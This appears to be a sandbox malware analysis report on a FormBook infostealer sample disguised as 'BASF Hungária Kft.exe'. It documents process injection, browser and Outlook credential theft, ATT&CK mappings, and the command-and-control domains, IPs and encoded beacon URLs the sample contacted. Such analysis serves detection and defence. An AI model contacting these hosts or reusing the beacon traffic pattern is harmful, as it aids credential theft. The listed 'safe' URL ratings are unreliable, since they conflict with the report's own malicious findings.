                Source: C:\Program Files (x86)\naJYRddNTcwhmqueJLqOVvjSLwPNeqPOuIjJfOpkj\ROCRLWAZDr.exeNtCreateMutant: Direct from: 0x76F035CCJump to behavior
                Source: C:\Program Files (x86)\naJYRddNTcwhmqueJLqOVvjSLwPNeqPOuIjJfOpkj\ROCRLWAZDr.exeNtWriteVirtualMemory: Direct from: 0x76F02E3CJump to behavior
                Source: C:\Program Files (x86)\naJYRddNTcwhmqueJLqOVvjSLwPNeqPOuIjJfOpkj\ROCRLWAZDr.exeNtMapViewOfSection: Direct from: 0x76F02D1CJump to behavior
                Source: C:\Program Files (x86)\naJYRddNTcwhmqueJLqOVvjSLwPNeqPOuIjJfOpkj\ROCRLWAZDr.exeNtResumeThread: Direct from: 0x76F036ACJump to behavior
                Source: C:\Program Files (x86)\naJYRddNTcwhmqueJLqOVvjSLwPNeqPOuIjJfOpkj\ROCRLWAZDr.exeNtAllocateVirtualMemory: Direct from: 0x76F02BFCJump to behavior
                Source: C:\Program Files (x86)\naJYRddNTcwhmqueJLqOVvjSLwPNeqPOuIjJfOpkj\ROCRLWAZDr.exeNtReadFile: Direct from: 0x76F02ADCJump to behavior
                Source: C:\Program Files (x86)\naJYRddNTcwhmqueJLqOVvjSLwPNeqPOuIjJfOpkj\ROCRLWAZDr.exeNtQuerySystemInformation: Direct from: 0x76F02DFCJump to behavior
                Source: C:\Program Files (x86)\naJYRddNTcwhmqueJLqOVvjSLwPNeqPOuIjJfOpkj\ROCRLWAZDr.exeNtDelayExecution: Direct from: 0x76F02DDCJump to behavior
                Source: C:\Program Files (x86)\naJYRddNTcwhmqueJLqOVvjSLwPNeqPOuIjJfOpkj\ROCRLWAZDr.exeNtQueryInformationProcess: Direct from: 0x76F02C26Jump to behavior
                Source: C:\Program Files (x86)\naJYRddNTcwhmqueJLqOVvjSLwPNeqPOuIjJfOpkj\ROCRLWAZDr.exeNtResumeThread: Direct from: 0x76F02FBCJump to behavior
                Source: C:\Program Files (x86)\naJYRddNTcwhmqueJLqOVvjSLwPNeqPOuIjJfOpkj\ROCRLWAZDr.exeNtCreateUserProcess: Direct from: 0x76F0371CJump to behavior
                Maps a DLL or memory area into another process
                Source: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exeSection loaded: NULL target: C:\Windows\SysWOW64\svchost.exe protection: execute and read and writeJump to behavior
                Source: C:\Windows\SysWOW64\svchost.exeSection loaded: NULL target: C:\Program Files (x86)\naJYRddNTcwhmqueJLqOVvjSLwPNeqPOuIjJfOpkj\ROCRLWAZDr.exe protection: execute and read and writeJump to behavior
                Source: C:\Windows\SysWOW64\svchost.exeSection loaded: NULL target: C:\Windows\SysWOW64\mobsync.exe protection: execute and read and writeJump to behavior
                Source: C:\Windows\SysWOW64\mobsync.exeSection loaded: NULL target: C:\Program Files (x86)\naJYRddNTcwhmqueJLqOVvjSLwPNeqPOuIjJfOpkj\ROCRLWAZDr.exe protection: read writeJump to behavior
                Source: C:\Windows\SysWOW64\mobsync.exeSection loaded: NULL target: C:\Program Files (x86)\naJYRddNTcwhmqueJLqOVvjSLwPNeqPOuIjJfOpkj\ROCRLWAZDr.exe protection: execute and read and writeJump to behavior
                Source: C:\Windows\SysWOW64\mobsync.exeSection loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read writeJump to behavior
                Source: C:\Windows\SysWOW64\mobsync.exeSection loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and writeJump to behavior
                Modifies the context of a thread in another process (thread injection)
                Source: C:\Windows\SysWOW64\mobsync.exeThread register set: target process: 1612Jump to behavior
                Writes to foreign memory regions
                Source: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exeMemory written: C:\Windows\SysWOW64\svchost.exe base: 2ED5008Jump to behavior
                Source: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exeCode function: 0_2_007887B1 LogonUserW,0_2_007887B1
                Source: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exeCode function: 0_2_00733B3A GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,0_2_00733B3A
                Source: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exeCode function: 0_2_007348D7 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,0_2_007348D7
                Source: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exeCode function: 0_2_00794C7F mouse_event,0_2_00794C7F
                Source: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exeProcess created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exe"Jump to behavior
                Source: C:\Program Files (x86)\naJYRddNTcwhmqueJLqOVvjSLwPNeqPOuIjJfOpkj\ROCRLWAZDr.exeProcess created: C:\Windows\SysWOW64\mobsync.exe "C:\Windows\SysWOW64\mobsync.exe"Jump to behavior
                Source: C:\Windows\SysWOW64\mobsync.exeProcess created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"Jump to behavior
                Source: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exeCode function: 0_2_00787CAF GetSecurityDescriptorDacl,_memset,GetAclInformation,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,0_2_00787CAF
                Source: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exeCode function: 0_2_0078874B AllocateAndInitializeSid,CheckTokenMembership,FreeSid,0_2_0078874B
                Source: BASF Hung#U00e1ria Kft.exeBinary or memory string: Run Script:AutoIt script files (*.au3, *.a3x)*.au3;*.a3xAll files (*.*)*.*au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
                Source: BASF Hung#U00e1ria Kft.exe, ROCRLWAZDr.exe, 00000003.00000002.3553402810.00000000018D0000.00000002.00000001.00040000.00000000.sdmp, ROCRLWAZDr.exe, 00000003.00000000.1851488690.00000000018D0000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Shell_TrayWnd
                Source: ROCRLWAZDr.exe, 00000003.00000002.3553402810.00000000018D0000.00000002.00000001.00040000.00000000.sdmp, ROCRLWAZDr.exe, 00000003.00000000.1851488690.00000000018D0000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Progman
                Source: ROCRLWAZDr.exe, 00000003.00000002.3553402810.00000000018D0000.00000002.00000001.00040000.00000000.sdmp, ROCRLWAZDr.exe, 00000003.00000000.1851488690.00000000018D0000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Progmanlock
                Source: ROCRLWAZDr.exe, 00000003.00000002.3553402810.00000000018D0000.00000002.00000001.00040000.00000000.sdmp, ROCRLWAZDr.exe, 00000003.00000000.1851488690.00000000018D0000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: }Program Manager
                Source: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exeCode function: 0_2_0075862B cpuid 0_2_0075862B
                Source: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exeCode function: 0_2_00764E87 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,0_2_00764E87
                Source: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exeCode function: 0_2_00771E06 GetUserNameW,0_2_00771E06
                Source: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exeCode function: 0_2_00763F3A __lock,____lc_codepage_func,__getenv_helper_nolock,_free,_strlen,__malloc_crt,_strlen,__invoke_watson,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,0_2_00763F3A
                Source: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exeCode function: 0_2_007349A0 GetVersionExW,GetCurrentProcess,IsWow64Process,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,0_2_007349A0

                Stealing of Sensitive Information

                barindex
                Yara detected FormBook
                Source: Yara matchFile source: 1.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 1.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 00000004.00000002.3553532020.0000000004880000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000003.00000002.3558620586.00000000084F0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000001.00000002.1929852390.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000004.00000002.3552790093.0000000000970000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000001.00000002.1930322182.0000000003820000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000004.00000002.3552981076.00000000030E0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000003.00000002.3553845307.0000000003AD0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000001.00000002.1930790727.0000000004A00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
                Tries to harvest and steal browser information (history, passwords, etc)
                Source: C:\Windows\SysWOW64\mobsync.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\CookiesJump to behavior
                Source: C:\Windows\SysWOW64\mobsync.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\CookiesJump to behavior
                Source: C:\Windows\SysWOW64\mobsync.exeFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\CookiesJump to behavior
                Source: C:\Windows\SysWOW64\mobsync.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login DataJump to behavior
                Source: C:\Windows\SysWOW64\mobsync.exeFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login DataJump to behavior
                Source: C:\Windows\SysWOW64\mobsync.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local StateJump to behavior
                Source: C:\Windows\SysWOW64\mobsync.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local StateJump to behavior
                Source: C:\Windows\SysWOW64\mobsync.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web DataJump to behavior
                Tries to steal Mail credentials (via file / registry access)
                Source: C:\Windows\SysWOW64\mobsync.exeKey opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\Jump to behavior
                Source: BASF Hung#U00e1ria Kft.exeBinary or memory string: WIN_81
                Source: BASF Hung#U00e1ria Kft.exeBinary or memory string: WIN_XP
                Source: BASF Hung#U00e1ria Kft.exeBinary or memory string: WIN_XPe
                Source: BASF Hung#U00e1ria Kft.exeBinary or memory string: WIN_VISTA
                Source: BASF Hung#U00e1ria Kft.exeBinary or memory string: WIN_7
                Source: BASF Hung#U00e1ria Kft.exeBinary or memory string: WIN_8
                Source: BASF Hung#U00e1ria Kft.exeBinary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_10WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\Appearance3, 3, 14, 0USERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte

                Remote Access Functionality

                barindex
                Yara detected FormBook
                Source: Yara matchFile source: 1.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 1.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 00000004.00000002.3553532020.0000000004880000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000003.00000002.3558620586.00000000084F0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000001.00000002.1929852390.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000004.00000002.3552790093.0000000000970000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000001.00000002.1930322182.0000000003820000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000004.00000002.3552981076.00000000030E0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000003.00000002.3553845307.0000000003AD0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000001.00000002.1930790727.0000000004A00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
                Source: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exeCode function: 0_2_007A6283 socket,WSAGetLastError,bind,listen,WSAGetLastError,closesocket,0_2_007A6283
                Source: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exeCode function: 0_2_007A6747 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,0_2_007A6747

                Mitre Att&ck Matrix

                ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
                Gather Victim Identity InformationAcquire Infrastructure2
                Valid Accounts                		1
                Native API                		1
                DLL Side-Loading                		1
                Exploitation for Privilege Escalation                		1
                Disable or Modify Tools                		1
                OS Credential Dumping                		2
                System Time Discovery                		Remote Services1
                Archive Collected Data                		5
                Ingress Tool Transfer                		Exfiltration Over Other Network Medium1
                System Shutdown/Reboot
                CredentialsDomainsDefault AccountsScheduled Task/Job2
                Valid Accounts                		1
                Abuse Elevation Control Mechanism                		1
                Deobfuscate/Decode Files or Information                		21
                Input Capture                		1
                Account Discovery                		Remote Desktop Protocol1
                Data from Local System                		1
                Encrypted Channel                		Exfiltration Over BluetoothNetwork Denial of Service
                Email AddressesDNS ServerDomain AccountsAtLogon Script (Windows)1
                DLL Side-Loading                		1
                Abuse Elevation Control Mechanism                		Security Account Manager2
                File and Directory Discovery                		SMB/Windows Admin Shares1
                Email Collection                		5
                Non-Application Layer Protocol                		Automated ExfiltrationData Encrypted for Impact
                Employee NamesVirtual Private ServerLocal AccountsCronLogin Hook2
                Valid Accounts                		2
                Obfuscated Files or Information                		NTDS116
                System Information Discovery                		Distributed Component Object Model21
                Input Capture                		5
                Application Layer Protocol                		Traffic DuplicationData Destruction
                Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon Script21
                Access Token Manipulation                		1
                DLL Side-Loading                		LSA Secrets151
                Security Software Discovery                		SSH3
                Clipboard Data                		Fallback ChannelsScheduled TransferData Encrypted for Impact
                Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC Scripts312
                Process Injection                		2
                Valid Accounts                		Cached Domain Credentials2
                Virtualization/Sandbox Evasion                		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
                DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items2
                Virtualization/Sandbox Evasion                		DCSync3
                Process Discovery                		Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
                Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job21
                Access Token Manipulation                		Proc Filesystem1
                Application Window Discovery                		Cloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement
                Network TopologyMalvertisingExploit Public-Facing ApplicationCommand and Scripting InterpreterAtAt312
                Process Injection                		/etc/passwd and /etc/shadow1
                System Owner/User Discovery                		Direct Cloud VM ConnectionsData StagedWeb ProtocolsExfiltration Over Symmetric Encrypted Non-C2 ProtocolInternal Defacement

                Behavior Graph

                Hide Legend

                Legend:

                • Process
                • Signature
                • Created File
                • DNS/IP Info
                • Is Dropped
                • Is Windows Process
                • Number of created Registry Values
                • Number of created Files
                • Visual Basic
                • Delphi
                • Java
                • .Net C# or VB.NET
                • C, C++ or other language
                • Is malicious
                • Internet
                behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1565280 Sample: BASF Hung#U00e1ria Kft.exe Startdate: 29/11/2024 Architecture: WINDOWS Score: 100 31 www.logidant.xyz 2->31 33 www.izmirescortg.xyz 2->33 35 11 other IPs or domains 2->35 39 Suricata IDS alerts for network traffic 2->39 41 Multi AV Scanner detection for submitted file 2->41 43 Yara detected FormBook 2->43 47 4 other signatures 2->47 10 BASF Hung#U00e1ria Kft.exe 2 2->10         started        signatures3 45 Performs DNS queries to domains with low reputation 33->45 process4 signatures5 57 Binary is likely a compiled AutoIt script file 10->57 59 Writes to foreign memory regions 10->59 61 Maps a DLL or memory area into another process 10->61 13 svchost.exe 10->13         started        process6 signatures7 63 Maps a DLL or memory area into another process 13->63 16 ROCRLWAZDr.exe 13->16 injected process8 dnsIp9 25 logidant.xyz 45.141.156.114, 49893, 49900, 49907 YURTEH-ASUA Germany 16->25 27 www.izmirescortg.xyz 172.67.186.192, 49736, 80 CLOUDFLARENETUS United States 16->27 29 8 other IPs or domains 16->29 37 Found direct / indirect Syscall (likely to bypass EDR) 16->37 20 mobsync.exe 13 16->20         started        signatures10 process11 signatures12 49 Tries to steal Mail credentials (via file / registry access) 20->49 51 Tries to harvest and steal browser information (history, passwords, etc) 20->51 53 Modifies the context of a thread in another process (thread injection) 20->53 55 2 other signatures 20->55 23 firefox.exe 20->23         started        process13

                Screenshots

                Thumbnails

                This section contains all screenshots as thumbnails, including those not shown in the slideshow.


                windows-stand

                Antivirus, Machine Learning and Genetic Malware Detection

                Initial Sample

                SourceDetectionScannerLabelLink
                BASF Hung#U00e1ria Kft.exe24%ReversingLabsWin32.Trojan.AutoitInject
                BASF Hung#U00e1ria Kft.exe100%Joe Sandbox ML

                Dropped Files

                ⊘No Antivirus matches

                Unpacked PE Files

                ⊘No Antivirus matches

                Domains

                ⊘No Antivirus matches

                URLs

                SourceDetectionScannerLabelLink
                http://www.madhf.tech/0mwe/?XHa8pH8=I6/MvosI1M4GXnAB4bTWBGDp85hsOSNe9tmkEszzRtOWIwRcIvXs05Ha3jXYoQpx0%Avira URL Cloudsafe
                http://www.aballanet.cat/6xrr/?XHa8pH8=HxJAUmNG5a+243k4mB40tOImfLHqxfdDyQfNvKnIMmllTqWhJmPDYD6FfyD5P2YCiK6XZxIiPJwBP5cvXMaBQeeC+l9WsNh28r7y2sDNsg9aoK9FWK5iLU0=&cBL4=dBU4KtqPg0%Avira URL Cloudsafe
                http://www.laohub10.net/36be/?XHa8pH8=zT+fCPSXWqCfWPgPkoP8augIhoSODsGx9/DVuG0pIlquWt59hgdSk8Rx6eVvndf2YPyLwPhL3z2g/EyQU+U7rERMucz0ZFCszNnC27qzdt1he7kDJbjieX8=&cBL4=dBU4KtqPg0%Avira URL Cloudsafe
                http://www.logidant.xyz/iuvu/0%Avira URL Cloudsafe
                https://zkdamdjj.shop/kf1m/?XHa8pH8=gD/FPiA75bYZCbZAYB/YrW9xurwFI/r4HqBHW8I30%Avira URL Cloudsafe
                http://www.zkdamdjj.shop/kf1m/?XHa8pH8=gD/FPiA75bYZCbZAYB/YrW9xurwFI/r4HqBHW8I3+Q/3qqcwdH4XqO3fnm/yt4rkfBlpHF229jnZH/lk0nBoXIiiXeZyn2c+rOjHayKJI+/jeoNtslqItL4=&cBL4=dBU4KtqPg0%Avira URL Cloudsafe
                http://www.madhf.tech/0mwe/?XHa8pH8=I6/MvosI1M4GXnAB4bTWBGDp85hsOSNe9tmkEszzRtOWIwRcIvXs05Ha3jXYoQpxdY5hB0FWQM1VzVFsJbVN4/hgDK7ji4WzdcK25sZRimZDxLZaBEcPhbk=&cBL4=dBU4KtqPg0%Avira URL Cloudsafe
                http://www.canadavinreport.site/g3h7/?XHa8pH8=dyqW+SkpLS8uL5dSny8q8PjeDBZe49z1zEHoC4ozp/UuBc9Lrzv6UHKMHP5rOiU//FkNbu8cLS6TGHyjoU1BRpkPLcScFLLxAHuiMJY3F0pG7ioCFxuNP/M=&cBL4=dBU4KtqPg0%Avira URL Cloudsafe
                http://www.canadavinreport.site/g3h7/0%Avira URL Cloudsafe
                http://www.tals.xyz/k1td/0%Avira URL Cloudsafe
                http://www.izmirescortg.xyz/lnl7/?cBL4=dBU4KtqPg&XHa8pH8=kAPJ1zL1a1XedmcoetGOcXX+BQ0sya6JbBGKYGigv+9peDDnEk+ogR7nF5sJltA40tggf7QxXQcZwaMcwHfgZSqhyZMy+6OBPTB2cT6zQPdPsX8z060ybXY=0%Avira URL Cloudsafe
                http://www.tals.xyz/k1td/?XHa8pH8=oEMxw+ab8QlEZmTlDbCKptskN0q9+wMHQHNpbkBMxCjDr7HlodnZgfFsQKGKkvz/XYzpvPMYep3+sZsYYHcCTBaIFjRaD0WqdXDHZ0BQI5kG8sOnP1u2RJI=&cBL4=dBU4KtqPg0%Avira URL Cloudsafe
                http://www.zkdamdjj.shop/kf1m/0%Avira URL Cloudsafe
                http://www.logidant.xyz/iuvu/?XHa8pH8=4GSi4NjhieA+eby3OKR9UHmAChFha0TZNopVgGr+MixqN2kv+x7vZ9YkKN38Qwr7I1LnRiqAhNhB07BIn5yneyjQ3W+H8Nz5kvkADuxuBf3arJIsYCs9inQ=&cBL4=dBU4KtqPg0%Avira URL Cloudsafe
                http://www.brightvision.website0%Avira URL Cloudsafe
                http://www.laohub10.net/36be/0%Avira URL Cloudsafe
                http://aballanet.cat/6xrr/?XHa8pH8=HxJAUmNG5a0%Avira URL Cloudsafe
                http://www.aballanet.cat/6xrr/0%Avira URL Cloudsafe
                http://www.thinkphp.cn0%Avira URL Cloudsafe
                http://www.yunlekeji.top/t322/?cBL4=dBU4KtqPg&XHa8pH8=FCfXCbowRdQKA3bJwmXvc8lOOpkaFxffvgnpa1jm1l5RPo8GmzCZxrunal2GKioIIi33qnUs85PYplnvRA3XR69fnaXkcIGP7N+ZF5LcImJ8BAL5CR7GLvE=0%Avira URL Cloudsafe
                http://www.madhf.tech/0mwe/0%Avira URL Cloudsafe
                http://www.yunlekeji.top/t322/0%Avira URL Cloudsafe
                http://www.brightvision.website/gn26/0%Avira URL Cloudsafe
                http://www.canadavinreport.site/g3h7/?XHa8pH8=dyqW0%Avira URL Cloudsafe

                Domains and IPs

                Contacted Domains

                NameIPActiveMaliciousAntivirus DetectionReputation
                www.izmirescortg.xyz
                		172.67.186.192
                		truetrue
                  		unknown
                  www.brightvision.website
                  		203.161.42.73
                  		truefalse
                    		unknown
                    www.madhf.tech
                    		15.204.67.7
                    		truefalse
                      		high
                      r0lqcud7.nbnnn.xyz
                      		27.124.4.246
                      		truefalse
                        		high
                        logidant.xyz
                        		45.141.156.114
                        		truetrue
                          		unknown
                          www.yunlekeji.top
                          		106.15.109.33
                          		truefalse
                            		unknown
                            www.tals.xyz
                            		13.248.169.48
                            		truefalse
                              		high
                              www.zkdamdjj.shop
                              		104.21.40.167
                              		truefalse
                                		high
                                www.canadavinreport.site
                                		185.27.134.206
                                		truefalse
                                  		high
                                  aballanet.cat
                                  		134.0.14.158
                                  		truetrue
                                    		unknown
                                    www.logidant.xyz
                                    		unknown
                                    		unknowntrue
                                      		unknown
                                      www.laohub10.net
                                      		unknown
                                      		unknownfalse
                                        		high
                                        www.aballanet.cat
                                        		unknown
                                        		unknownfalse
                                          		unknown

                                          Contacted URLs

                                          NameMaliciousAntivirus DetectionReputation
                                          http://www.aballanet.cat/6xrr/?XHa8pH8=HxJAUmNG5a+243k4mB40tOImfLHqxfdDyQfNvKnIMmllTqWhJmPDYD6FfyD5P2YCiK6XZxIiPJwBP5cvXMaBQeeC+l9WsNh28r7y2sDNsg9aoK9FWK5iLU0=&cBL4=dBU4KtqPgtrue
                                          • Avira URL Cloud: safe
                                          		unknown
                                          http://www.laohub10.net/36be/?XHa8pH8=zT+fCPSXWqCfWPgPkoP8augIhoSODsGx9/DVuG0pIlquWt59hgdSk8Rx6eVvndf2YPyLwPhL3z2g/EyQU+U7rERMucz0ZFCszNnC27qzdt1he7kDJbjieX8=&cBL4=dBU4KtqPgfalse
                                          • Avira URL Cloud: safe
                                          		unknown
                                          http://www.canadavinreport.site/g3h7/false
                                          • Avira URL Cloud: safe
                                          		unknown
                                          http://www.madhf.tech/0mwe/?XHa8pH8=I6/MvosI1M4GXnAB4bTWBGDp85hsOSNe9tmkEszzRtOWIwRcIvXs05Ha3jXYoQpxdY5hB0FWQM1VzVFsJbVN4/hgDK7ji4WzdcK25sZRimZDxLZaBEcPhbk=&cBL4=dBU4KtqPgfalse
                                          • Avira URL Cloud: safe
                                          		unknown
                                          http://www.tals.xyz/k1td/false
                                          • Avira URL Cloud: safe
                                          		unknown
                                          http://www.zkdamdjj.shop/kf1m/?XHa8pH8=gD/FPiA75bYZCbZAYB/YrW9xurwFI/r4HqBHW8I3+Q/3qqcwdH4XqO3fnm/yt4rkfBlpHF229jnZH/lk0nBoXIiiXeZyn2c+rOjHayKJI+/jeoNtslqItL4=&cBL4=dBU4KtqPgfalse
                                          • Avira URL Cloud: safe
                                          		unknown
                                          http://www.canadavinreport.site/g3h7/?XHa8pH8=dyqW+SkpLS8uL5dSny8q8PjeDBZe49z1zEHoC4ozp/UuBc9Lrzv6UHKMHP5rOiU//FkNbu8cLS6TGHyjoU1BRpkPLcScFLLxAHuiMJY3F0pG7ioCFxuNP/M=&cBL4=dBU4KtqPgfalse
                                          • Avira URL Cloud: safe
                                          		unknown
                                          http://www.logidant.xyz/iuvu/false
                                          • Avira URL Cloud: safe
                                          		unknown
                                          http://www.zkdamdjj.shop/kf1m/false
                                          • Avira URL Cloud: safe
                                          		unknown
                                          http://www.tals.xyz/k1td/?XHa8pH8=oEMxw+ab8QlEZmTlDbCKptskN0q9+wMHQHNpbkBMxCjDr7HlodnZgfFsQKGKkvz/XYzpvPMYep3+sZsYYHcCTBaIFjRaD0WqdXDHZ0BQI5kG8sOnP1u2RJI=&cBL4=dBU4KtqPgfalse
                                          • Avira URL Cloud: safe
                                          		unknown
                                          http://www.logidant.xyz/iuvu/?XHa8pH8=4GSi4NjhieA+eby3OKR9UHmAChFha0TZNopVgGr+MixqN2kv+x7vZ9YkKN38Qwr7I1LnRiqAhNhB07BIn5yneyjQ3W+H8Nz5kvkADuxuBf3arJIsYCs9inQ=&cBL4=dBU4KtqPgfalse
                                          • Avira URL Cloud: safe
                                          		unknown
                                          http://www.izmirescortg.xyz/lnl7/?cBL4=dBU4KtqPg&XHa8pH8=kAPJ1zL1a1XedmcoetGOcXX+BQ0sya6JbBGKYGigv+9peDDnEk+ogR7nF5sJltA40tggf7QxXQcZwaMcwHfgZSqhyZMy+6OBPTB2cT6zQPdPsX8z060ybXY=false
                                          • Avira URL Cloud: safe
                                          		unknown
                                          http://www.yunlekeji.top/t322/?cBL4=dBU4KtqPg&XHa8pH8=FCfXCbowRdQKA3bJwmXvc8lOOpkaFxffvgnpa1jm1l5RPo8GmzCZxrunal2GKioIIi33qnUs85PYplnvRA3XR69fnaXkcIGP7N+ZF5LcImJ8BAL5CR7GLvE=false
                                          • Avira URL Cloud: safe
                                          		unknown
                                          http://www.aballanet.cat/6xrr/true
                                          • Avira URL Cloud: safe
                                          		unknown
                                          http://www.laohub10.net/36be/false
                                          • Avira URL Cloud: safe
                                          		unknown
                                          http://www.brightvision.website/gn26/false
                                          • Avira URL Cloud: safe
                                          		unknown
                                          http://www.madhf.tech/0mwe/false
                                          • Avira URL Cloud: safe
                                          		unknown
                                          http://www.yunlekeji.top/t322/false
                                          • Avira URL Cloud: safe
                                          		unknown

                                          URLs from Memory and Binaries

                                          NameSourceMaliciousAntivirus DetectionReputation
                                          https://duckduckgo.com/chrome_newtabmobsync.exe, 00000004.00000003.2125526977.0000000007BBE000.00000004.00000020.00020000.00000000.sdmpfalse
                                            		high
                                            http://www.madhf.tech/0mwe/?XHa8pH8=I6/MvosI1M4GXnAB4bTWBGDp85hsOSNe9tmkEszzRtOWIwRcIvXs05Ha3jXYoQpxmobsync.exe, 00000004.00000002.3555484946.0000000007910000.00000004.00000800.00020000.00000000.sdmpfalse
                                            • Avira URL Cloud: safe
                                            		unknown
                                            https://duckduckgo.com/ac/?q=mobsync.exe, 00000004.00000003.2125526977.0000000007BBE000.00000004.00000020.00020000.00000000.sdmpfalse
                                              		high
                                              https://www.google.com/images/branding/product/ico/googleg_lodp.icomobsync.exe, 00000004.00000003.2125526977.0000000007BBE000.00000004.00000020.00020000.00000000.sdmpfalse
                                                		high
